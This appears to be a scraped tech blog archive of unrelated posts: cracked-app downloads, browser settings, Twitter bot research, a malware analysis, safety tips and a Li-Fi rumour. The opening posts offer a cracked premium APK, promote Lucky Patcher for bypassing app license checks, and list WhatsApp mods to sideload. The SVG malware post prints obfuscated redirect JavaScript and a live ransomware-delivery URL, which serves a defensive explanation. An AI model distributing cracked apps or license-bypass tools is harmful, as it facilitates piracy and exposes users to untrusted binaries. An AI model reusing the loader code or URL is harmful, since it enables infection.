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GO SMS Pro Apk Premium 7.13 build 361 Mod Here !

GO SMS Pro

GO SMS Pro 7 is arriving! The new SMS has been redesigned from start to finish, bringing you a brand new looking and intelligent mobile experience!

GO SMS Pro – Nearly 100 Million users’ choice, all time #1 messaging app to replace the stock!

The brand new messaging app is simple, intuitive, personalizing and fun!

GO SMS Pro comes with beautiful themes, lovely stickers, private box, pop up windows, GO chat (send free SMS & MMS), dual sim support, and much more. We are committed to making GO SMS Pro faster, safer and tons of great features – messaging has never been so fun and efficient!

Free Features:

  • Hundreds of personalized themes and lovely stickers (keep increasing)
  • Private box to encrypt messages & protect your privacy
  • Sticky conversations help you focus on important contacts by sticking them at the top
  • Pop up new messages for quick viewing and replying
  • Dual SIM matching, supports 8,000+ dual SIM devices (keep increasing)
  • SMS blocker smartly block blacklist/keywords and filter spam messages
  • GO chat support for free messages and group chat
  • Delay to send give you opportunity to correct the wrong messages.
  • Folded stranger messages Automatically categorize strangers conversations and keep your Inbox simplicity
  • Avatar popup Show the contact avatar above all apps when new messages arrive. It needs SYSTEM_ALERT_WINDOW permission to show the system level popup.
  • Support disabling all sponsored messages
  • Advanced Private Box for renaming or hiding entrance, faking notification as well
  • Unlimited cloud storage space for message backup
  • Free to enjoy all paid themes (Upgrade to Themes VIP)

What’s New in 7.11

  • V7.04 Update
  • Bugs Fixed

Screens:

Download Links:

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GO SMS Pro Premium 7.13 build 361 Cracked APK (9.3 Mb) / Mirror

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7.11 build 358

7.10 Cracked APK

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Lucky Patcher APK 6.3.8 Latest

Lucky Patcher APK

Lucky Patcher is a great Android tool to Remove App’s License verification, remove ads, modify Permissions, bypass premium applications license verification, and more. You can use this patches to break some apps Android Market License Verification or other verification To use this application, you need a rooted device. All credits to OnHax.

Last Update – July 22, 2016

NOTE: This app has No Ads

Changelog : v6.3.8

  • Fix show ads activity;
  • Update translations;
  • Bugs fixed.

How to use it?

  • Download the given apk file
  • Install it and launch application and you will see all the applications explaining all types of apps
  • It will explain all the apps behaviour, either it has google ads, licence verification or any other restriction
  • Just apply path to it and you are done.

ROOTING REQUIRED!

  • Stable functioning of Lucky Patcher Apk can’t be guaranteed . So you are solely responsible for use of this application.
  • Under no circumstances On HAX will be responsible for any problems caused to your device (rebooting loop, unstable system, etc…)

Screenshots:

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BEWARE: Some one is Selling this app on Play Store, and you know its or free, Please don’t fall into that and buy it.

WhatsApp All Mods Available Here Just For Fun

WhatsApp Mods

Today we are going to share many mods of Whatsapp that were modded by many users in their own look, new improved designs ( Themes), change in conversation style etc..These mods out in android and apple, but here we are just sharing android mods. Enjoy this great update.Modders added many feautres in their well-known apk’s for WhatsApp. we can’t describe every apk features here that’s why we had added all these in one post so you can find your favorite one easily from here. If you can’t find your interesting one here then you can post a comment and we’ll try to add your loving Mods in Update.
How to Install ?
You can select your favorite mod from below and download it on your android device, now run that apk ( Important: please allow unknown source installation in your android settings).
Enjoy !
Note

For all people coming from other mods that use another folders than (WhatsApp)
to restore all your chat history and media:
1- do a backup using your previous WhatsApp
2- before install the mod. Using your folder browser go to gbwhatsapp (for example or any folder that your previous mod used)
3-copy all folders
4- go to the folder WhatsApp and past everything (if ask you to overwrite say yes)
5- install the mod follow the instructions and enjoy!!

Here Is A List With Links:

Other Mods

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WAMOD v1.3.3 – (WhatsApp base v2.16.102) MOD APK / Mirror

 

FMWhatsApp v4.17 MOD APK Link Here

 

YoWhatsApp (Dual Whatsapp) v4 Apk

 

WASH Batman Link & WASH Superman,  The Flash,  DeadPool,   Captain America,   IronMan

Ultimate WhatsApp Theme Engine Link

WhatsAppMtjr Link

WhatsApp+ JiMODs v4.40  com.whatsapp & com.gbwhatsapp

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Enable or Disable JavaScript in Google Chrome

JavaScript is a handy feature that allows more interaction with web pages in Google Chrome and many other web browsers. Some people may publish websites that use the scripting language maliciously though. For your protection, you can disable or enable JavaScript in Chrome with these steps

 

From Chrome Settings

  1. Select the “Menu”  button located at the upper-right corner of the screen, then select “Settings“, or type “chrome://settings/content“ in the address bar, press “Enter“, then skip to step 3.
  2. Scroll down and select the “Show advanced settings…” option.
  3. Select the “Content settings…” button.
  4. Select “Allow all sites to run JavaScript” to enable JavaScript, select “Do not allow any site to run JavaScript” to disable it.

Optionally, you can allow or block JavaScript on specific websites by selecting the “Manage exceptions…” button and adding the URL of the website under the “Hostname Pattern” field. From there, set the “Behavior” to “Block” or “Allow“. You can even block partial sections of websites.

reate Shortcut Icon to Disable JavaScript

If you want to create a special icon that disables JavaScript for certain browsing sessions, you can use the -disable-javascript switch. For example, Windows users can right-click their Desktop, then go to “New” > “Shortcut” to create an icon that points to:

C:\Users\yourusername\AppData\Local\Google\Chrome\Application\chrome.exe -disable-javascript

 

 

Note: For some reason it seems that using this switch doesn’t completely turn JavaScript off. I still experienced some instances in my testing where it worked and others where it didn’t. You’re better off using the first method listed in this tutorial.

How do I disable JavaScript in Microsoft Edge?

Windows 10 – How do I disable JavaScript in Microsoft Edge?

How do I disable JavaScript in Microsoft Edge?

You can change this using the Group Policy settings:

“Computer Configuration: > “Administrative Templates” > “Windows Components” > “Microsoft Edge”

The same settings can also be found under:

“User Configuration: > “Administrative Templates” > “Windows Components” > “Microsoft Edge”

Edge Group Policy Settings

These Edge Group Policy Settings can be found under (User or Computer)\Administrative Template\Windows Components\Microsoft Edge\ are:

  • Allows you to run scripts, like Javascript
  • Allows you to let people use autofill on websites
  • Allows you to let people send Do Not Track headers
  • Allows you to configured password manager
  • Allows you to run pop-ups
  • Stops address bar from showing search suggestions
  • Allows you to configure SmartScreen
  • Configure how Microsoft Edge treats cookies
  • Allows you to configured the Enterprise Site list
  • Sends all intranet traffic over to Internet Explorer

Massive networks of fake accounts found on Twitter

Massive collections of fake accounts are lying dormant on Twitter, suggests research.

The largest network ties together more than 350,000 accounts and further work suggests others may be even bigger.

UK researchers accidentally uncovered the lurking networks while probing Twitter to see how people use it.

Some of the accounts have been used to fake follower numbers, send spam and boost interest in trending topics.

Hidden purpose

On Twitter, bots are accounts that are run remotely by someone who automates the messages they send and activities they carry out. Some people pay to get bots to follow their account or to dilute chatter about controversial subjects.

“It is difficult to assess exactly how many Twitter users are bots,” said graduate student Juan Echeverria, a computer scientist at UCL, who uncovered the massive networks.

Mr Echeverria’s research began by combing through a sample of 1% of Twitter users in order to get a better understanding of how people use the social network.

However, analysis of the data revealed some strange results that, when probed further, seemed to reveal lots of linked accounts, suggesting one person or group is running the botnet. These accounts did not act like the bots other researchers had found but were clearly not being run by humans.

His research suggests earlier work to find bots has missed these types of networks because they act differently to the most obvious automated accounts.

The researchers are now asking the public via a website and a Twitter account to report bots they spot to help get a better idea of how prevalent they are. Many bots are obvious because they have been created recently, have few followers, have strange user names and little content in the messages.

The network of 350,000 bots stood out because all the accounts in it shared several subtle characteristics that revealed they were linked. These included:

  • tweets coming from places where nobody lives
  • messages being posted only from Windows phones
  • almost exclusively including quotes from Star Wars novels

It was “amazing and surprising” to discover the massive networks, said Dr Shi Zhou, a senior lecturer from UCL who oversaw Mr Echeverria’s research.

“Considering all the efforts already there in detecting bots, it is amazing that we can still find so many bots, much more than previous research,” Dr Zhou told the BBC.

Twitter deserved praise for its work on finding and eliminating bots, he added, but it was clear that skilled hackers had found ways to avoid official scrutiny and keep the bots ticking over.

The pair’s most recent work had uncovered a bigger network of bots that seemed to include more than 500,000 accounts.

 

source: http://www.bbc.com/news/technology-38724082

HOW VIDEO GAMES CAN HELP US HACK THE HUMAN BRAIN

EXAMINING THE BRAIN IN REAL-TIME

 


Hacking Your Brain With Videogames by PopSci

Technology is really a marvel. So often, as new advances come out that allow us to do things that were thought impossible in the past, we hear the phrase “The future is now.” Popular Science and XPRIZE are teaming up to explore and explain technologies like these in a video series called Future First.

 

Episode thirteen of Future First is titled “Brain Hacking With Video Games.” In it, we take a look at how new technologies—including virtual reality—help us to track activity within the human brain in real time, how different experiences affect different parts of the brain, and how we can use that information to further our knowledge of the mind. Helping to lead the discussion is Adam Gazzaley, MD, PhD., director of the Gazzaley Lab at the UCSF Neuroscience Imaging Center.

Facebook SPAM Alert! – Malicious SVG File is Spreading through Facebook Messages

Have you received any kind of Image file through Facebook messages lately?

If yes, Is it in SVG Format?

If it is, Please don’t click on it.

Spammers have crafted malicious Image (SVG file) that will make you install ransomeware on to your System and in turn infect all of your friends through the same medium i.e Facebook messages.

Scalable Vector Graphics (SVG) is an XML-based image format used to serve vector images. If you notice, Our logo is also in SVG format. You can download and inspect it by opening the file in a text editor.

The reason the spammers choose to use SVG images for spamming is because it allows dynamic content. Spammers had added malicious JavaScript code right inside the image itself, which in this case was a link to an external file which would in turn download locky Ransomeware.

 

What would happen if you click that Spam Image?

You can checkout the SVG file code here:
http://pastebin.com/Ma5t0Fj0

If you look at the SVG file on pastebin, Observe the lines 48 to 51

var hdekw = window;
var ljfji = bxtqxbl("q2wzN=IFPjjmkiEFlo",15,true);
var pryyb = bxtqxbl("xXnDUGnKZcx?URbam",9,false);
var lpvxzt = bxtqxbl("nso6/z",2,false);
hdekw[ljfji][pryyb][lpvxzt] = bxtqxbl("6DK_Ezq4ACorNFc5h9IiELr0p97DN5nBKwAL2FmFOkdrDFeG",10,true);

Spammers have cleverly used cryptographic techniques to bypass Facebook’s file checkers and then execute a window function.

If you log these variables in console:

console.log(ljfji);
console.log(pryyb);
console.log(lpvxzt);
console.log(bxtqxbl("6DK_Ezq4ACorNFc5h9IiELr0p97DN5nBKwAL2FmFOkdrDFeG",10,true));

You would get this:

top
location
href
http://mourid.com/php/trust.php

Clearly it appears that the malicious SVG file is attempting to redirect you to http://mourid.com/php/trust.php, which happens to be a fake YouTube video page that will force you to install malicious Chrome Extension.

 

 

When the extension gets installed, It would then takes advantage of your browser’s access to your Facebook account to covertly SPAM your friends with the same SVG image file, Helping this SPAM to Spread more.

Furthermore, The extension also downloads “Nemucod downloader”, which is a generic malware downloader generally used to fetch and install various ransomeware. In this case the malware downloader downloads “Locky ransomeware”, leaving your system locked.

10 tips for staying safe Online in 2017 – Internet Safety Tips

The number of online users have increased drastically and people started to depend on the internet even for daily needs such as grocery shopping, vegetable shopping etc.

Online shopping requires the payments to be done online and it has got many advantages, but there are some untoward and dangerous situations which makes the online usage a problematic one.

Hacking, phishing, clickjacking etc. are some of the things that bring financial loss or security breach to the online user. Crooks try their best to steal bank details or credit card information of the online users.

 

Security is the biggest thing which has to be taken care in to stay safe online. Staying safe includes protecting your passwords, bank details and other private information from the eyes of hackers.

Some tips can be followed to avoid hacking and protecting the private information from getting hacked. These are some of the tips which can protect you from dangerous situations online:

1. Upgrade your password to Passphrase
Password is like a key to a treasure box and it is very important to choose a password that is very secure and strong. Care should be taken that the password is strong enough and which is not easy to guess as nickname of the user, his/her pet’s name, children’s name etc.

Its always a good idea to use sentences as your password instead of using passwords that contain one or two words. When you use sentence as a password its called passphrase.

The normal password can be replaced with passphrase like a small sentence “I-love-my-family”, “I-am-on-my-own” etc. Choosing such small phrases would make it tough for hackers to break the password. However make sure the sentences are long enough and easy to remember.

Also make sure you create different passwords for different websites and use password managers if you feel the need to use one.

2. Update your Device Software Regularly
Software updation and keeping up with the new versions is an important step to stay safe from hacking.

Even if it is a new computer or laptop with latest software, the time gap between the buying of the computer/laptop and using it can make the software versions installed in the system an older one (outdated).

Procrastinating the software updation can give a chance to the hackers to find out the passwords of some very important websites.

3. Do not download or Install Suspicious looking Apps
Apps are very tempting as they can make life easier. It is true that most of the apps are very useful. But care should be taken to check the details being asked for installing the apps.

The app installation should be avoided or cancelled immediately if doubt arises about the details asked being unnecessary such as the bank account number, debit card pin number etc.

Most of the apps that are free will often try to extract your personal details to make up the cost of making, Just make sure you provide minimal personal details.

Also, Turn off Flash or better uninstall it from your device as Flash files are still a popular way of spreading malware.

4. Backup your Files & Secure your Online Legacy after Death
The backup is a process which should be done on a rigorous and regular basis. Marking certain day in a week for taking the backup of all the essential details/files/documents etc would be a good idea.

As most of the bank transactions, property transactions are done online, Your usernames and the passwords for online services have become a legacy which should be passed with care to the partner or kith and kin. But care should be taken that these details are safe and secure.

These details should never be revealed to the outside parties other than the trusted family members.

 

5. Beware of Phishing and Bogus Emails
Phishing is very common and dangerous thing faced by the online users. Phishing is widely used hacking method and 75% of the internet users are unaware of it.

Phishing is an attempt to get your login credentials for Website-X by emailing or directing you to a exact looking fake login page of Website-X. As soon as you enter your credentials on the fake page, the hacker behind it gets all the details.

The users should take care not to believe in fake websites and E-mails. Websites which replicate some websites and bogus E-mails asking the user to claim an amount ask for bank details, usernames, passwords etc. Care should be taken not to pass any of these details if a doubt arises about the validity of the website or email.

6. Share minimal personal information on Social networking sites
Care should also be taken not to post day to day activities or every personal details on the social networking websites.

These websites can give a chance to hackers, burglars, kidnappers to take advantage of the information. Not posting each and everything online or not responding to unknown users can save you from untoward incidents.

 

7. Beware of ClickJacking Attack
ClickJacking is a very dangerous thing faced by online users.

The users are tricked to click on a link or a message which then redirects to a link which can retrieve confidential information such as bank usernames, passwords etc.

Sometimes the situation can too dangerous when the hacker can get control over the system. So care should be taken not to click on any links or messages which are not trustworthy or unnecessary.

 

8. Shop only on Secure Websites (https enabled)
Online shopping has brought a great transformation in everyone’s life and it is a good one most of the times. But care should be taken to avoid shopping on some websites which are dubious.

Always make sure you are shopping on secure website having https enabled and has a padlock in the address bar followed by registered company name. This means that the website uses encryption protocol and has a valid ssl certificate.

Websites without https or with https enabled but with no valid company name, should be avoided for online shopping. Choosing websites with lock pads and HTTPS enable websites can protect the user from loosing important and private information.

9. Look for any Suspicious Hardware connected before using anyones System
Suspicious hardwares include Evil USB drives and hardware keyloggers.

Care should be taken while using your friends computer or any public computer. Before you start suing the system always check the keyboard USB port and the Connecting wire, Make sure there nothing in between.

Read these tips for cybercafe visitors: how to be safe at cyber cafes

Also look for any suspicious evil USB that is plugged in to your computer without your knowledge as these evil drives are capable of bricking your whole computer in seconds.

Learn more about evil USB here: USB killer stick to fry computers

10. Change Default passwords of Internet Connected Devices (IoT devices)

The internet connected devices (also known as Internet of Things or IoT) such as internet TV, IP cam, smart refrigerator etc. have to be kept safe from prying eyes of hackers.

Changing the default passwords of these devices can minimize the untoward incidents. The default passwords should be replaced with strong passwords which are difficult to break as soon as the device is started for the first time.

If you have bought a wireless router recently, make sure to protect it with right encryption protocol and change the default router credentials.

 

These tips can help the online users to protect themselves from hacking, breaching of private information. But it is always common sense that helps the online users to protect their information.

Small things like not saving the usernames, passwords, changing the passwords regularly, keeping the software up-to-date, choosing a strong password every time etc. can minimize the possibility of getting hacked by upto 90%.

You can further improve your safety online by avoiding non trust worthy websites, by not clicking on each and every link, by not opening spam E-mails etc. Securing the private and important information can be achieved by being cautious about the details being asked online.

iPhone 7 : Ultra-Fast Li-Fi Technology may appear in iPhone 7

According to twitter user @kyoufujibaya, Apple is experimenting with Ultra-Fast Li-Fi wireless Technology and may include it in the future iPhone’s starting with iPhone 7, which is rumored to be releasing in September 2016.

Twitter user @kyoufujibaya discovered that, Li-Fi references are being made in iOS 9.1 firmware. Which is a clear signal that Apple is experimenting this disruptive wireless technology in Labs. Unveiled in 2011 , Li-Fi is a cheap replacement for Wi-fi technology and is 100 times faster than the average Wi-Fi speed.

With Li-Fi powered iPhone, you could walk into any room, switch on the lights to get 100 times faster internet connection instantly with transmission speed of upto 10Gbps in lab conditions and 1Gbps in commercial context.

It doesn’t stop here, Researchers were able to broadcast up-to 224Gbps connection and its not limited.

What is Li-Fi? and how it works?

The Wi-Fi technology which was discovered in 1992 has undoubtedly revolutionized wireless communication, without which the life would be somewhat different. And now after nearly two decades, A new wireless technology is all set to replace the revolutionary Wi-Fi technology.

Unlike Wi-Fi which uses radio waves to transmit data, Li-Fi uses cheaper and robust medium for data transfer,.. The Light. The Light which is a part of electromagnetic spectrum just like radio waves, has a frequency range 10 thousand times greater than radio waves. This means that, the light has the capacity to transmit more pulses of data in much less time than radio waves.

To do this Li-Fi uses LED lights. LED is a semiconductor which is an electronic device and has a nice property by which its intensity can be modulated at very high speed. These subtle changes in the intensity are invisible to human eye, but creates a stream of data bits.

This property of LED lights is being exploited to transfer high speed data to Li-Fi enabled devices. Watch this TED talk by Harald Haas (The inventor of Li-Fi).

 

 

From security perspective, With Li-Fi we will be able to transmit data more securely since light doesn’t penetrate through walls and therefore somebody outside of your house will not be able to sense the on going wireless transmission, Unlike Wi-Fi which can be Intercepted easily.

Let us know if you are excited like us to see Li-Fi in future devices along with Apple iPhone 7.

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